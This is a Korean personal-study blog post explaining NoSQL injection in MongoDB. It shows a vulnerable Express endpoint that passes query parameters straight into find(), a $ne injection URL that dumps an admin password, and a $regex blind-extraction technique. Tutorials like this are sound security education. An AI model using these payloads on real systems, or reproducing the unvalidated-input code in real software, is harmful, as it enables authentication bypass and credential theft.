NoSQL Injection 본문
SQL Injection은 SQL을 이해하고 있다면, 모든 RDBMS에 대해 공격을 수행할 수 있습니다.
그러나 NoSQL은 사용하는 DBMS에 따라 요청 방식과 구조가 다르기 때문에
각각의 DBMS에 대해 이해하고 있어야 합니다.
이번 NoSQL은 MongoDB만 다루겠습니다.
SQL은 저장하는 데이터의 자료형으로 문자열, 정수, 날짜, 실수 등을 사용할 수 있습니다.
MongoDB는 이 외에도 오브젝트, 배열 타입을 사용할 수 있습니다.
예제를 통해 알아보겠습니다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
uid와 upw에 해당하는 데이터를 찾고, 출력하는 예제 코드입니다.
이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있습니다.
오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있습니다. $ne연산자를 이용해
입력한 데이터와 일치하지 않는 데이터를 반환합니다.
즉 uid와 upw가 a가 아닌 데이터를 조회하는 예제입니다.
Blind NoSQL Injection
정규식을 사용해 식과 일치하는 데이터를 조회합니다.
$regex연산자를 통해 값을 하나씩 찾을 수 있습니다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
'보안 > 개인공부' 카테고리의 다른 글
XSS Filtering Bypass - 1 (0) | 2022.06.04 |
---|---|
SSRF (0) | 2022.06.02 |
File Vulnerability (0) | 2022.05.31 |
CSRF (0) | 2022.05.30 |
XSS (0) | 2022.05.30 |
Comments